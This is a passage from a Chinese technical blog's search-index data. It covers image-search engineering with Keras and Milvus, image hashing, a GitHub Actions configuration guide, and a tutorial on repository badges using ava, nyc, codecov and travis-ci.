","date":"2020-04-11","objectID":"/image-search-system2/:1:1","tags":["Engineering"],"title":"以图搜图系统工程实践","uri":"/image-search-system2/"},{"categories":["Engineering"],"content":"2、Image 说明 这里加载图像使用的是 keras.preprocessing 的 image.load_img 方法即: from keras.preprocessing import image img_path = 'elephant.jpg' img = image.load_img(img_path, target_size=(224, 224)) 实际上是 Keras 调用的 TensorFlow 的方法,详情见 TensorFlow 官方文档 ,而最后得到的 image 对象其实是一个 PIL Image 实例( TensorFlow 使用的 PIL )。 ","date":"2020-04-11","objectID":"/image-search-system2/:1:2","tags":["Engineering"],"title":"以图搜图系统工程实践","uri":"/image-search-system2/"},{"categories":["Engineering"],"content":"3、Bytes 转换 实际工程中图像内容常常是通过网络进行传输的,因此相比于从 path 路径加载图片,我们更希望直接将 bytes 数据转换为 image 对象即 PIL Image : import io from PIL import Image # img_bytes: 图片内容 bytes img = Image.open(io.BytesIO(img_bytes)) img = img.convert('RGB') img = img.resize((224, 224), Image.NEAREST) 以上 img 与前文中的 image.load_img 得到的结果相同,这里需要注意的是: 必须进行 RGB 转换 必须进行 resize ( load_img 方法的第二个参数也就是 resize ) ","date":"2020-04-11","objectID":"/image-search-system2/:1:3","tags":["Engineering"],"title":"以图搜图系统工程实践","uri":"/image-search-system2/"},{"categories":["Engineering"],"content":"4、黑边处理 有时候图像会有比较多的黑边部分(例如截屏),而这些黑边的部分即没有实际价值,又会产生比较大的干扰,因此去除黑边也是一项常见的操作。 所谓黑边,本质上就是一行或一列的像素点全部都是 (0, 0, 0) ( RGB 图像),去除黑边就是找到这些行或列,然后删除,实际是一个 numpy 的 3-D Matrix 操作。 移除横向黑边示例: # -*- coding: utf-8 -*- import numpy as np from keras.preprocessing import image def RemoveBlackEdge(img): \"\"\"移除图片横向黑边 Args: img: PIL image 实例 Returns: PIL image 实例 \"\"\" width = img.width img = image.img_to_array(img) img_without_black = img[~np.all(img == np.zeros((1, width, 3), np.uint8), axis=(1, 2))] img = image.array_to_img(img_without_black) return img CNN 提取图像特征以及图像的其它相关处理先写这么多,我们再看向量搜索引擎。 ","date":"2020-04-11","objectID":"/image-search-system2/:1:4","tags":["Engineering"],"title":"以图搜图系统工程实践","uri":"/image-search-system2/"},{"categories":["Engineering"],"content":"向量搜索引擎 Milvus 只有图像的特征向量是远远不够的,我们还需要对这些特征向量进行动态的管理(增删改),以及计算向量的相似度并返回最邻近范围内的向量数据,而开源的向量搜索引擎 Milvus 则很好的完成这些工作。 下文将会讲述具体的实践,以及要注意的地方。 ","date":"2020-04-11","objectID":"/image-search-system2/:2:0","tags":["Engineering"],"title":"以图搜图系统工程实践","uri":"/image-search-system2/"},{"categories":["Engineering"],"content":"1、对 CPU 有要求 想要使用 Milvus ,首先必须要求你的 CPU 支持 avx2 指令集,如何查看你的 CPU 支持哪些指令集呢?对于 Linux 系统,输入指令 cat /proc/cpuinfo | grep flags 你将会看到形如以下的内容: flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc cpuid aperfmperf pni pclmulqdq dtes64 monitor ds_cpl vmx smx est tm2 ssse3 sdbg fma cx16 xtpr pdcm pcid dca sse4_1 sse4_2 x2apic movbe popcnt aes xsave avx f16c rdrand lahf_lm abm cpuid_fault epb invpcid_single pti intel_ppin tpr_shadow vnmi flexpriority ept vpid ept_ad fsgsbase tsc_adjust bmi1 avx2 smep bmi2 erms invpcid cqm xsaveopt cqm_llc cqm_occup_llc dtherm ida arat pln pts flags 后面的这一大堆就是你的 CPU 支持的全部指令集,当然内容太多了,我只想看是否支持具体的某个指令集,比如 avx2 , 再加一个 grep 过滤一下即可: cat /proc/cpuinfo | grep flags | grep avx2 如果执行结果没有内容输出,就是不支持这个指令集,你只能换一台满足要求的机器。 ","date":"2020-04-11","objectID":"/image-search-system2/:2:1","tags":["Engineering"],"title":"以图搜图系统工程实践","uri":"/image-search-system2/"},{"categories":["Engineering"],"content":"2、容量规划 系统设计时,容量规划是需要首先考虑的地方,我们需要存储多少数据,这些数据需要多少内存以及多大的磁盘空间? 速算,上文中特征向量的每一个维度都是 float32 的数据类型,一个 float32 需要占用 4 byte,那么一个 512 维的向量就需要 2 KB ,依次类推: 一千个 512 维向量需要 2 MB 一百万 512 维向量需要 2 GB 一千万 512 维向量需要 20 GB 一个亿 512 维向量需要 200 GB 十个亿 512 维向量需要 2 TB 如果我们希望能将数据全部存在内存中,那么系统就至少需要对应大小的内存容量。 这里推荐你使用官方的大小计算工具: milvus tools 实际上我们的内存可能并没有那么大(内存不够没关系,milvus 会将数据自动刷写到磁盘上),另外除了这些原始的向量数据之外,还会有一些其他的数据例如日志等的存储也是我们需要考虑的地方。 ","date":"2020-04-11","objectID":"/image-search-system2/:2:2","tags":["Engineering"],"title":"以图搜图系统工程实践","uri":"/image-search-system2/"},{"categories":["Engineering"],"content":"3、系统配置 关于系统配置,官方文档有比较详细的说明: Milvus 服务端配置 如何设置系统配置项 配置 Milvus 用于生产环境 ","date":"2020-04-11","objectID":"/image-search-system2/:2:3","tags":["Engineering"],"title":"以图搜图系统工程实践","uri":"/image-search-system2/"},{"categories":["Engineering"],"content":"4、数据库设计 collection \u0026 partition 在 Milvus 中,数据会按照 collection 和 partition 进行划分: collection 就是我们理解的表。 partition 则是 collection 的分区,也就是某个表内部的分区。 partition 分区在底层实现上其实与 collection 集合是一致的,只是前者从属于后者,但是有了分区之后,数据的组织方式变得更加灵活,我们也可以指定集合中某个特定分区进行查询,从而达到一个更高的查询性能,更多内容参考 分区表详细说明 。 我们可以使用多少个 collection 和 partition ? 由于 collection 和 partition 的基本信息都属于元数据,而 milvus 内部进行元数据管理需要使用 SQLite( milvus 内部集成)或者 MySQL (需要外部连接) 其中之一,如果你使用默认的 SQLite 去管理元数据的话,当集合和分区的数量过多时,性能损耗会很严重,因此集合和分区总数不要超过 50000 ( 0.8.0 版本将会限制为 4096 ) ,需要设置更多的数量则建议使用外接 MySQL 的方式。 Milvus 的 collection 和 partition 内部支持的数据结构非常简单,只支持 ID + vector ,换句话说,表只有两列,一列是 ID ,一列是向量数据。 注意: ID 目前只支持整数类型 我们需要保证 ID 在 collection 的层面是唯一的,而不是 partition 。 条件过滤 我们使用一些传统的数据库时,往往可以指定字段进行条件过滤,但是 Milvus 并不能直接支持这项功能,然而我们是可以通过集合和分区的设计去实现简单的条件过滤,例如,我们有很多图片数据,但是这些图片数据都明确的属于具体的用户,那么我们就可以按照用户去划分 partition ,这样查询的时候以用户作为过滤条件其实就是指定 partition 即可。 结构化数据与向量的映射 由于 milvus 只支持 ID + vector 的数据结构,而实际业务上我们最终需要的往往是具有业务意义的结构化数据,也就是说,我们需要通过 vector 向量最终找到结构化数据,因此我们需要通过 ID 去维护结构化数据与向量之间的映射关系: 结构化数据 ID \u003c--\u003e 映射表 \u003c--\u003e Milvus ID 索引类型选择 请参考以下文档: 索引类型 如何选择索引类型 ","date":"2020-04-11","objectID":"/image-search-system2/:2:4","tags":["Engineering"],"title":"以图搜图系统工程实践","uri":"/image-search-system2/"},{"categories":["Engineering"],"content":"5、搜索结果处理 Milvus 的搜索结果是 ID + distance 的集合: ID : collection 中的 ID 。 distance : 0 ~ 1 的距离值,表示相似性程度,越小越相似。 过滤 ID 为 -1 的数据 当数据集过少的时候,搜索结果可能会包含 ID 为 -1 的数据,我们需要自己去过滤掉。 翻页 向量的搜索比较特别,查询的结果是按照相似性顺序,从最相似开始往后选取 topK 个数据( topK 需要搜索时由用户指定)。 Milvus 的搜索不支持翻页,如果我们希望在业务上实现这个功能,那么只能由我们自己去处理,比如,我想要每页 10 条数据,只显示第 3 页的数据,那么我们需要去取 topK = 30 的数据,然后只返回最后 10 条。 业务上的相似性阈值 两张图片的特征向量的距离 distance 范围是 0 ~ 1 ,有些时候我们需要在业务上去判定两张图片是否相似,这时就需要我们自己去设置一个距离的阈值,当 distance 小于阈值时就可以判定为相似,大于阈值时判定为不相似,这个也是需要根据具体的业务自己去处理。 ","date":"2020-04-11","objectID":"/image-search-system2/:2:5","tags":["Engineering"],"title":"以图搜图系统工程实践","uri":"/image-search-system2/"},{"categories":["Engineering"],"content":"结语 本文讲述了以图搜图系统进行工程实践时比较常见的内容,最后强烈推荐一下 Milvus 。 ","date":"2020-04-11","objectID":"/image-search-system2/:3:0","tags":["Engineering"],"title":"以图搜图系统工程实践","uri":"/image-search-system2/"},{"categories":["Engineering"],"content":"以图搜图系统概述","date":"2020-03-31","objectID":"/image-search-system/","tags":["Engineering"],"title":"以图搜图系统概述","uri":"/image-search-system/"},{"categories":["Engineering"],"content":"以图搜图系统概述 以图搜图指的是根据图像内容搜索出相似内容的图像。 构建一个以图搜图系统需要解决两个最关键的问题:首先,提取图像特征;其次,特征数据搜索引擎,即特征数据构建成数据库并提供相似性搜索的功能。 ","date":"2020-03-31","objectID":"/image-search-system/:0:0","tags":["Engineering"],"title":"以图搜图系统概述","uri":"/image-search-system/"},{"categories":["Engineering"],"content":"图像特征表示 介绍三种方式。 ","date":"2020-03-31","objectID":"/image-search-system/:1:0","tags":["Engineering"],"title":"以图搜图系统概述","uri":"/image-search-system/"},{"categories":["Engineering"],"content":"图像哈希 图像通过一系列的变换和处理最终得到的一组哈希值称之为图像的哈希值,而中间的变换和处理过程则称之为哈希算法。 图像的哈希值是对这张图像的整体抽象表示。 比如 Average Hash 算法的计算过程: Reduce size : 将原图压缩到 8 x 8 即 64 像素大小,忽略细节。 Reduce color : 灰度处理得到 64 级灰度图像。 Average the colors : 计算 64 级灰度均值。 Compute the bits : 二值化处理,将每个像素与上一步均值比较并分别记为 0 或者 1 。 Construct the hash : 根据上一步结果矩阵构成一个 64 bit 整数,比如按照从左到右、从上到下的顺序。最后得到的就是图像的均值哈希值。 参考:http://www.hackerfactor.com/blog/?/archives/432-Looks-Like-It.html 图像哈希算法有很多种,包含但不限于: AverageHash : 也叫 Different Hash PHash : Perceptual Hash MarrHildrethHash : Marr-Hildreth Operator Based Hash RadialVarianceHash : Image hash based on Radon transform BlockMeanHash : Image hash based on block mean ColorMomentHash : Image hash based on color moments 我们最常见可能就是 PHash 。 图像哈希可以对抗一定程度的水印、压缩、噪声等影响,即通过对比图像哈希值的 Hamming distance (汉明距离)可以判断两幅图像的内容是否相似。 图像的哈希值是对这张图像的整体抽象表示,局限性也很明显,由于是对图像整体进行的处理,一旦我们对整体性进行了破坏,比如在原图加一个黑边就几乎无法判断相似性了。 ","date":"2020-03-31","objectID":"/image-search-system/:1:1","tags":["Engineering"],"title":"以图搜图系统概述","uri":"/image-search-system/"},{"categories":["Engineering"],"content":"传统特征 在计算机视觉领域早期,创造了很多经典的手工设计的特征算法,比如 SIFT 如上图所示,通过 SIFT 算法提取出来的一系列的特征点。 一幅图像提取出来的特征点有多个,且每一个特征点都是一个局部向量,为了进行相似性计算,通常需要先将这一系列特征点融合编码为一个全局特征,也就是局部特征向量融合编码为一个全局特征向量(用这个全局特征向量表示一幅图像),融合编码相关的算法包括但不限于: BOW Fisher vector VLAD ","date":"2020-03-31","objectID":"/image-search-system/:1:2","tags":["Engineering"],"title":"以图搜图系统概述","uri":"/image-search-system/"},{"categories":["Engineering"],"content":"CNN 特性 人工智能兴起之后,基于 CNN 卷积神经网络提取图像特征越来越主流。 通过 CNN 提取出来的图像特征其实也是一个多维向量,比如使用 VGG16 模型提取特征可参考: https://keras.io/applications/#extract-features-with-vgg16 ","date":"2020-03-31","objectID":"/image-search-system/:1:3","tags":["Engineering"],"title":"以图搜图系统概述","uri":"/image-search-system/"},{"categories":["Engineering"],"content":"搜索引擎 由于将图像转换为了特征向量,因此搜索引擎所要做的就是其实就是向量检索。 这里直接推荐 Milvus ,刚开源不久,可以很方便快捷的使用在工程项目上,具体的相关内容直接查阅官方文档即可。 ","date":"2020-03-31","objectID":"/image-search-system/:2:0","tags":["Engineering"],"title":"以图搜图系统概述","uri":"/image-search-system/"},{"categories":["Uncate"],"content":"GitHub Actions 指南","date":"2019-12-23","objectID":"/github-actions/","tags":["Github","CICD"],"title":"GitHub Actions 指南","uri":"/github-actions/"},{"categories":["Uncate"],"content":"GitHub Actions 指南 GitHub Actions 使你可以直接在你的 GitHub 库中创建自定义的工作流,工作流指的就是自动化的流程,比如构建、测试、打包、发布、部署等等,也就是说你可以直接进行 CI(持续集成)和 CD (持续部署)。 ","date":"2019-12-23","objectID":"/github-actions/:0:0","tags":["Github","CICD"],"title":"GitHub Actions 指南","uri":"/github-actions/"},{"categories":["Uncate"],"content":"基本概念 workflow : 一个 workflow 工作流就是一个完整的过程,每个 workflow 包含一组 jobs 任务。 job : jobs 任务包含一个或多个 job ,每个 job 包含一系列的 steps 步骤。 step : 每个 step 步骤可以执行指令或者使用一个 action 动作。 action : 每个 action 动作就是一个通用的基本单元。 ","date":"2019-12-23","objectID":"/github-actions/:1:0","tags":["Github","CICD"],"title":"GitHub Actions 指南","uri":"/github-actions/"},{"categories":["Uncate"],"content":"配置 workflow workflow 必须存储在你的项目库根路径下的 .github/workflows 目录中,每一个 workflow 对应一个具体的 .yml 文件(或者 .yaml)。 workflow 示例: name: Greet Everyone # This workflow is triggered on pushes to the repository. on: [push] jobs: your_job_id: # Job name is Greeting name: Greeting # This job runs on Linux runs-on: ubuntu-latest steps: # This step uses GitHub's hello-world-javascript-action: https://github.com/actions/hello-world-javascript-action - name: Hello world uses: actions/hello-world-javascript-action@v1 with: who-to-greet: 'Mona the Octocat' id: hello # This step prints an output (time) from the previous step's action. - name: Echo the greeting's time run: echo 'The time was ${{ steps.hello.outputs.time }}.' 说明: 最外层的 name 指定了 workflow 的名称。 on 声明了一旦发生了 push 操作就会触发这个 workflow 。 jobs 定义了任务集,其中可以有一个或多个 job 任务,示例中只有一个。 runs-on 声明了运行的环境。 steps 定义需要执行哪些步骤。 每个 step 可以定义自己的 name 和 id ,通过 uses 可以声明使用一个具体的 action ,通过 run 声明需要执行哪些指令。 ${{ }} 可以使用上下文参数。 上述示例可以抽象为: name: \u003cworkflow name\u003e on: \u003cevents that trigger workflows\u003e jobs: \u003cjob_id\u003e: name: \u003cjob_name\u003e runs-on: \u003crunner\u003e steps: - name: \u003cstep_name\u003e uses: \u003caction\u003e with: \u003cparameter_name\u003e: \u003cparameter_value\u003e id: \u003cstep_id\u003e - name: \u003cstep_name\u003e run: \u003ccommands\u003e ","date":"2019-12-23","objectID":"/github-actions/:2:0","tags":["Github","CICD"],"title":"GitHub Actions 指南","uri":"/github-actions/"},{"categories":["Uncate"],"content":"on on 声明了何时触发 workflow ,它可以是: 一个或多个 GitHub 事件,比如 push 了一个 commit、创建了一个 issue、产生了一次 pull request 等等,示例: on: [push, pull_request] 预定的时间,示例(每天零点零分触发): on: schedule: - cron: '0 0 * * *' 某个外部事件。所谓外部事件触发,简而言之就是你可以通过 REST API 向 GitHub 发送请求去触发,具体请查阅官方文档: repository-dispatch-event 配置多个事件,示例: on: # Trigger the workflow on push or pull request, # but only for the master branch push: branches: - master pull_request: branches: - master # Also trigger on page_build, as well as release created events page_build: release: types: # This configuration does not affect the page_build event above - created 详细文档请参考: 触发事件 ","date":"2019-12-23","objectID":"/github-actions/:3:0","tags":["Github","CICD"],"title":"GitHub Actions 指南","uri":"/github-actions/"},{"categories":["Uncate"],"content":"jobs jobs 可以包含一个或多个 job ,如: jobs: my_first_job: name: My first job my_second_job: name: My second job 如果多个 job 之间存在依赖关系,那么你可能需要使用 needs : jobs: job1: job2: needs: job1 job3: needs: [job1, job2] 这里的 needs 声明了 job2 必须等待 job1 成功完成,job3 必须等待 job1 和 job2 依次成功完成。 每个任务默认超时时间最长为 360 分钟,你可以通过 timeout-minutes 进行配置: jobs: job1: timeout-minutes: ","date":"2019-12-23","objectID":"/github-actions/:4:0","tags":["Github","CICD"],"title":"GitHub Actions 指南","uri":"/github-actions/"},{"categories":["Uncate"],"content":"runs-on \u0026 strategy runs-on 指定了任务的 runner 即执行环境,runner 分两种:GitHub-hosted runner 和 self-hosted runner 。 所谓的 self-hosted runner 就是用你自己的机器,但是需要 GitHub 能进行访问并给与其所需的机器权限,这个不在本文描述范围内,有兴趣可参考 self-hosted runner 。 GitHub-hosted runner 其实就是 GitHub 提供的虚拟环境,目前有以下四种: windows-latest : Windows Server 2019 ubuntu-latest 或 ubuntu-18.04 : Ubuntu 18.04 ubuntu-16.04 : Ubuntu 16.04 macos-latest : macOS Catalina 10.15 比较常见的: runs-on: ubuntu-latest ","date":"2019-12-23","objectID":"/github-actions/:5:0","tags":["Github","CICD"],"title":"GitHub Actions 指南","uri":"/github-actions/"},{"categories":["Uncate"],"content":"runs-on 多环境 有时候我们常常需要对多个操作系统、多个平台、多个编程语言版本进行测试,为此我们可以配置一个构建矩阵。 例如: runs-on: ${{ matrix.os }} strategy: matrix: os: [ubuntu-16.04, ubuntu-18.04] node: [6, 8, 10] 示例中配置了两种 os 操作系统和三种 node 版本即总共六种情况的构建矩阵,${{ matrix.os }} 是一个上下文参数。 strategy 策略,包括: matrix : 构建矩阵。 fail-fast : 默认为 true ,即一旦某个矩阵任务失败则立即取消所有还在进行中的任务。 max-paraller : 可同时执行的最大并发数,默认情况下 GitHub 会动态调整。 示例: runs-on: ${{ matrix.os }} strategy: matrix: os: [macos-latest, windows-latest, ubuntu-18.04] node: [4, 6, 8, 10] include: # includes a new variable of npm with a value of 2 for the matrix leg matching the os and version - os: windows-latest node: 4 npm: 2 include 声明了 os 为 windows-latest 时,增加一个 node 和 npm 分别使用特定的版本的矩阵环境。 与 include 相反的就是 exclude : runs-on: ${{ matrix.os }} strategy: matrix: os: [macos-latest, windows-latest, ubuntu-18.04] node: [4, 6, 8, 10] exclude: # excludes node 4 on macOS - os: macos-latest node: 4 exclude 用来删除特定的配置项,比如这里当 os 为 macos-latest ,将 node 为 4 的版本从构建矩阵中移除。 ","date":"2019-12-23","objectID":"/github-actions/:5:1","tags":["Github","CICD"],"title":"GitHub Actions 指南","uri":"/github-actions/"},{"categories":["Uncate"],"content":"steps steps 的通用格式类似于: steps: - name: \u003cstep_name\u003e uses: \u003caction\u003e with: \u003cparameter_name\u003e: \u003cparameter_value\u003e id: \u003cstep_id\u003e continue-on-error: true - name: \u003cstep_name\u003e timeout-minutes: run: \u003ccommands\u003e 每个 step 步骤可以有: id : 每个步骤的唯一标识符 name : 步骤的名称 uses : 使用哪个 action run : 执行哪些指令 with : 指定某个 action 可能需要输入的参数 continue-on-error : 设置为 true 允许此步骤失败 job 仍然通过 timeout-minutes : step 的超时时间 ","date":"2019-12-23","objectID":"/github-actions/:6:0","tags":["Github","CICD"],"title":"GitHub Actions 指南","uri":"/github-actions/"},{"categories":["Uncate"],"content":"action action 动作通常是可以通用的,这意味着你可以直接使用别人定义好的 action 。 ","date":"2019-12-23","objectID":"/github-actions/:7:0","tags":["Github","CICD"],"title":"GitHub Actions 指南","uri":"/github-actions/"},{"categories":["Uncate"],"content":"checkout action checkout action 是一个标准动作,当以下情况时必须且需要率先使用: workflow 需要项目库的代码副本,比如构建、测试、或持续集成这些操作。 workflow 中至少有一个 action 是在同一个项目库下定义的。 使用示例: - uses: actions/checkout@v1 如果你只想浅克隆你的库,或者只复制最新的版本,你可以在 with 中使用 fetch-depth 声明,例如: - uses: actions/checkout@v1 with: fetch-depth: 1 ","date":"2019-12-23","objectID":"/github-actions/:7:1","tags":["Github","CICD"],"title":"GitHub Actions 指南","uri":"/github-actions/"},{"categories":["Uncate"],"content":"引用 action 官方 action 标准库: github.com/actions 社区库: marketplace 1、引用公有库中的 action 引用 action 的格式是 {owner}/{repo}@{ref} 或 {owner}/{repo}/{path}@{ref} ,例如上例的中 actions/checkout@v1 ,你还可以使用标准库中的其它 action ,如设置 node 版本: jobs: my_first_job: name: My Job Name steps: - uses: actions/setup-node@v1 with: node-version: 10.x 2、引用同一个库中的 action 引用格式:{owner}/{repo}@{ref} 或 ./path/to/dir 。 例如项目文件结构为: |-- hello-world (repository) | |__ .github | └── workflows | └── my-first-workflow.yml | └── actions | |__ hello-world-action | └── action.yml 当你想要在 workflow 中引用自己的 action 时可以: jobs: build: runs-on: ubuntu-latest steps: # This step checks out a copy of your repository. - uses: actions/checkout@v1 # This step references the directory that contains the action. - uses: ./.github/actions/hello-world-action 3、引用 Docker Hub 上的 container 如果某个 action 定义在了一个 docker container image 中且推送到了 Docker Hub 上,你也可以引入它,格式是 docker://{image}:{tag} ,示例: jobs: my_first_job: steps: - name: My first step uses: docker://alpine:3.8 更多信息参考: Docker-image.yml workflow 和 Creating a Docker container action 。 ","date":"2019-12-23","objectID":"/github-actions/:7:2","tags":["Github","CICD"],"title":"GitHub Actions 指南","uri":"/github-actions/"},{"categories":["Uncate"],"content":"构建 actions 请参考:building-actions ","date":"2019-12-23","objectID":"/github-actions/:7:3","tags":["Github","CICD"],"title":"GitHub Actions 指南","uri":"/github-actions/"},{"categories":["Uncate"],"content":"env 环境变量可以配置在以下地方: env jobs.\u003cjob_id\u003e.env jobs.\u003cjob_id\u003e.steps.env 示例: env: NODE_ENV: dev jobs: job1: env: NODE_ENV: test steps: - name: env: NODE_ENV: prod 如果重复,优先使用最近的那个。 ","date":"2019-12-23","objectID":"/github-actions/:8:0","tags":["Github","CICD"],"title":"GitHub Actions 指南","uri":"/github-actions/"},{"categories":["Uncate"],"content":"if \u0026 context 你可以在 job 和 step 中使用 if 条件语句,只有满足条件时才执行具体的 job 或 step : jobs.\u003cjob_id\u003e.if jobs.\u003cjob_id\u003e.steps.if 任务状态检查函数: success() : 当上一步执行成功时返回 true always() : 总是返回 true cancelled() : 当 workflow 被取消时返回 true failure() : 当上一步执行失败时返回 true 例如: steps: - name: step1 if: always() - name: step2 if: success() - name: step3 if: failure() 意思就是 step1 总是执行,step2 需要上一步执行成功才执行,step3 只有当上一步执行失败才执行。 ","date":"2019-12-23","objectID":"/github-actions/:9:0","tags":["Github","CICD"],"title":"GitHub Actions 指南","uri":"/github-actions/"},{"categories":["Uncate"],"content":"${{ \u003cexpression\u003e }} 上下文和表达式: ${{ \u003cexpression\u003e }} 。 有时候我们需要与第三方平台进行交互,这时候通常需要配置一个 token ,但是显然这个 token 不可能明文使用,这种个情况下我们要做的就是: 在具体 repository 库 Settings 的 Secrets 中添加一个密钥,如 SOMEONE_TOKEN 然后在 workflow 中就可以通过 ${{ secrets.SOMEONE_TOKEN }} 将 token 安全地传递给环境变量。 steps: - name: My first action env: SOMEONE_TOKEN: ${{ secrets.SOMEONE_TOKEN }} 这里的 secrets 就是一个上下文,除此之外还有很多,比如: github.event_name : 触发 workflow 的事件名称 job.status : 当前 job 的状态,如 success, failure, or cancelled steps.\u003cstep id\u003e.outputs : 某个 action 的输出 runner.os : runner 的操作系统如 Linux, Windows, or macOS 这里只列举了少数几个。 另外在 if 中使用时不需要 ${{ }} 符号,比如: steps: - name: My first step if: github.event_name == 'pull_request' \u0026\u0026 github.event.action == 'unassigned' run: echo This event is a pull request that had an assignee removed. 上下文和表达式详细信息请参考: contexts-and-expression ","date":"2019-12-23","objectID":"/github-actions/:9:1","tags":["Github","CICD"],"title":"GitHub Actions 指南","uri":"/github-actions/"},{"categories":["Uncate"],"content":"结语 最后给个自己写的示例,仅供参考: name: GitHub Actions CI on: [push] jobs: build-test-deploy: runs-on: ubuntu-latest strategy: matrix: node-version: [8.x, 10.x, 12.x] steps: - uses: actions/checkout@v1 - name: install linux packages run: sudo apt-get install -y --no-install-recommends libevent-dev - name: install memcached if: success() run: | wget -O memcached.tar.gz http://memcached.org/files/memcached-1.5.20.tar.gz tar -zxvf memcached.tar.gz cd memcached-1.5.20 ./configure \u0026\u0026 make \u0026\u0026 sudo make install memcached -d - name: Use Node.js ${{ matrix.node-version }} uses: actions/setup-node@v1 if: success() with: node-version: ${{ matrix.node-version }} - name: npm install, build, and test env: CODECOV_TOKEN: ${{ secrets.CODECOV_TOKEN }} if: success() run: | npm ci npm test npm run report-coverage ","date":"2019-12-23","objectID":"/github-actions/:10:0","tags":["Github","CICD"],"title":"GitHub Actions 指南","uri":"/github-actions/"},{"categories":["Uncate"],"content":"给你的库加上酷炫的小徽章","date":"2019-12-21","objectID":"/ava-codecov-travis/","tags":["Github","Node.js"],"title":"给你的库加上酷炫的小徽章","uri":"/ava-codecov-travis/"},{"categories":["Uncate"],"content":"给库加上酷炫的小徽章 \u0026 ava、codecov、travis 示例 GitHub 很多开源库都会有几个酷炫的小徽章,比如: 这些是怎么加上去的呢? ","date":"2019-12-21","objectID":"/ava-codecov-travis/:0:0","tags":["Github","Node.js"],"title":"给你的库加上酷炫的小徽章","uri":"/ava-codecov-travis/"},{"categories":["Uncate"],"content":"Shields.io 首先这些徽章可以直接去 shields.io 网站自动生成。 比如: 就是 version 这一类里的一种图标,选择 npm 一栏填入包名,然后复制成 Markdown 内容,就会得到诸如: ![npm (tag)](https://img.shields.io/npm/v/io-memcached/latest) 直接粘贴在 .md 文件中就可以使用了,最后展现的就是这个图标。 当然还有其他很多徽章都任由你挑选,不过某些徽章是需要额外进行一些配置,比如这里的 (自动构建通过) 和 (测试覆盖率)。 ","date":"2019-12-21","objectID":"/ava-codecov-travis/:1:0","tags":["Github","Node.js"],"title":"给你的库加上酷炫的小徽章","uri":"/ava-codecov-travis/"},{"categories":["Uncate"],"content":"AVA 谈到测试覆盖率必须先有单元测试,本文使用 ava 作为示例,ava 是一个 js 测试库,强烈推荐你使用它。 1、安装 npm init ava 2、使用示例 编写 test.js 文件: import test from 'ava' import Memcached from '../lib/memcached'; test.before(t =\u003e { const memcached = new Memcached(['127.0.0.1:11211'], { pool: { max: 2, min: 0 }, timeout: 5000 }); t.context.memcached = memcached; }); test('memcached get/set', async t =\u003e { try { t.plan(3); const key = 'testkey'; const testdata = 'testest\\r\\n\\stese'; const r = await t.context.memcached.set(key, testdata); t.is(r, 'STORED'); const g = await t.context.memcached.get(key, testdata); t.is(g, testdata); const dr = await t.context.memcached.del(key); t.is(dr, 'DELETED'); } catch (error) { t.fail(error.message); } }); test('unit test title', t =\u003e { t.pass(); }); 说明: ava 本身就支持很多 es6 及以上的特性,你不用另外再使用 babel 。 test.before 就是一个钩子,你可以通过 context 向后传递变量并使用。 test('title', t =\u003e {}) 函数构造我们的单元测试,每项测试的名称可以自己定义,使用非常方便,多个 test 之间是并发执行的,如果你需要依次执行则使用 test.serial()。 t.plan() 声明了每项测试中应该有几次断言。 t.is() 则是进行断言判断。 t.fail() 声明单项测试不通过。 t.pass() 声明单项测试通过。 当然这里只是展示了很少的几个用法,更多详细的内容看官方文档。 ","date":"2019-12-21","objectID":"/ava-codecov-travis/:2:0","tags":["Github","Node.js"],"title":"给你的库加上酷炫的小徽章","uri":"/ava-codecov-travis/"},{"categories":["Uncate"],"content":"coverage 单元测试有了,但是还没有测试覆盖率,为此我们还需要 nyc 。 npm install --save-dev nyc 修改 package.json 文件: { \"scripts\": { \"test\": \"nyc ava\" } } 获取测试覆盖率时会生成相关的文件,我们在 .gitignore 中忽略它们即可: .nyc_output coverage* 当我们再执行 npm test 时,其就会执行单元测试,并且获取测试覆盖率,结果类似于: $ npm test \u003e nyc ava 4 tests passed --------------|----------|----------|----------|----------|-------------------| File | % Stmts | % Branch | % Funcs | % Lines | Uncovered Line #s | --------------|----------|----------|----------|----------|-------------------| All files | 72.07 | 63.37 | 79.49 | 72.07 | | memcached.js | 72.59 | 64.37 | 74.19 | 72.59 |... 13,419,428,439 | utils.js | 68 | 57.14 | 100 | 68 |... 70,72,73,75,76 | --------------|----------|----------|----------|----------|-------------------| ","date":"2019-12-21","objectID":"/ava-codecov-travis/:2:1","tags":["Github","Node.js"],"title":"给你的库加上酷炫的小徽章","uri":"/ava-codecov-travis/"},{"categories":["Uncate"],"content":"Codecov 测试覆盖率也有了,但这只是本地的,我们还不能生成 这种徽章。 为此,本文选择了 codecov 平台,我们需要使用 GitHub 账号登录 codecov 并关联我们的 repository 库,同时我们需要生成一个 token 令牌以便后续使用。 安装 codecov : npm install --save-dev codecov 在 package.json 文件中增加一个上报测试覆盖率的脚本: { \"scripts\": { \"report-coverage\": \"nyc report --reporter=text-lcov \u003e coverage.lcov \u0026\u0026 codecov\" } } 上报测试覆盖率的结果给 codecov 是需要权限的,这里的权限需要配置环境变量 CODECOV_TOKEN=\u003ctoken\u003e ,token 就是刚刚在 codecov 平台上设置的令牌,然后执行 npm run report-coverage 才会成功。 ","date":"2019-12-21","objectID":"/ava-codecov-travis/:3:0","tags":["Github","Node.js"],"title":"给你的库加上酷炫的小徽章","uri":"/ava-codecov-travis/"},{"categories":["Uncate"],"content":"Travis-ci 本文使用 travis-ci 来做持续集成,同样的你需要使用 GitHub 账号登录 travis-ci 并关联我们的 repository 库。 编写 .travis.yml 配置文件: language: node_js node_js: - \"12\" sudo: required before_install: sudo apt-get install libevent-dev -y install: - wget -O memcached.tar.gz http://memcached.org/files/memcached-1.5.20.tar.gz - tar -zxvf memcached.tar.gz - cd memcached-1.5.20 - ./configure \u0026\u0026 make \u0026\u0026 sudo make install - memcached -d script: - npm ci \u0026\u0026 npm test \u0026\u0026 npm run report-coverage language : 声明语言环境,这里的 node_js 还声明了版本。 sudo : 声明在 CI 的虚拟环境中是否需要管理员权限。 before_install : 安装额外的系统依赖。 install : 示例中另外安装了 memcached 并在后台启动,因为本文的测试需要。 script : 声明 CI 执行的脚本命令。 由于我们在 travis-ci 上执行 npm run report-coverage 向 codecov 上报测试覆盖率时需要其权限,因此还需要在 travis-ci 的 Settings 中设置环境变量 CODECOV_TOKEN 。 最后,当我们向 GitHub 库中提交了新的内容后,就会触发 CI 流程,虚拟化环境、安装依赖、执行命令等等,CI 通过后就可以得到 